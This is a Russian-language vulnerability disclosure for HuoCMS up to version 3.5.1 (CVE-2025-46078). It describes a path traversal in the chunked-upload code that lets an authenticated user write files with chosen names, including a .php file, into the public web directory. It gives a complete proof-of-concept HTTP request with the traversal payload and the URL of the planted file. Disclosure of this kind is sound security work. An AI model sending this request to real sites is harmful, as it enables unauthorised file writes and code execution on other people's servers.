BUG_Author:

yggcwhat

Затронутая версия:

Huocms

Вендор:

https://huocms.com/

Адрес исходного кода:

https://gitee.com/digital-flag/huocms

Уязвимый файл:

Upload.php

Затронутая версия：

HuoCMS - <=V3.5.1

Описание:

В методе sliceUploadAndSave файла AttachmentController.php (находится в app -> controller -> backend) параметр resource_type проверяется по белому списку разрешенных расширений файлов (например, txt, png и т.д.). Затем метод вызывает tmpMove из Upload.php (находится в app -> service -> upload).

Метод tmpMove сначала создает файл. Однако параметр $filename (контролируемый через входной параметр resource_temp_path, который управляется пользователем) можно использовать для обхода каталогов (например, с помощью ../) для создания папок. Затем метод выполняет операцию перемещения, помещая файл в созданный каталог. Конечное имя файла формируется путем добавления символа подчеркивания и суффикса $pos, где $pos управляется через параметр chunk_index, передаваемый при вызове (см. фактическую передачу параметров для деталей).

Это создает уязвимость, при которой злоумышленник может манипулировать resource_temp_path и chunk_index для записи файлов в произвольные места с контролируемыми именами.

Подробности: app >controller >backend > AttachmentController.php：sliceUploadAndSave

app >service >upload > Upload.php：tmpMove

Эта уязвимость является проблемой бэкенда, для вызова которой требуется вход в бэкенд с токеном. Пожалуйста, настройте и войдите самостоятельно.

POC：

POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream

1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"

1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"

.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"

.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"

../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"

txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"

11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

URL доступа:
http://127.0.0.1/storage/image/20250415/%5f%5f.php

Ссылки：

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/

CVE-2025-46078

Популярное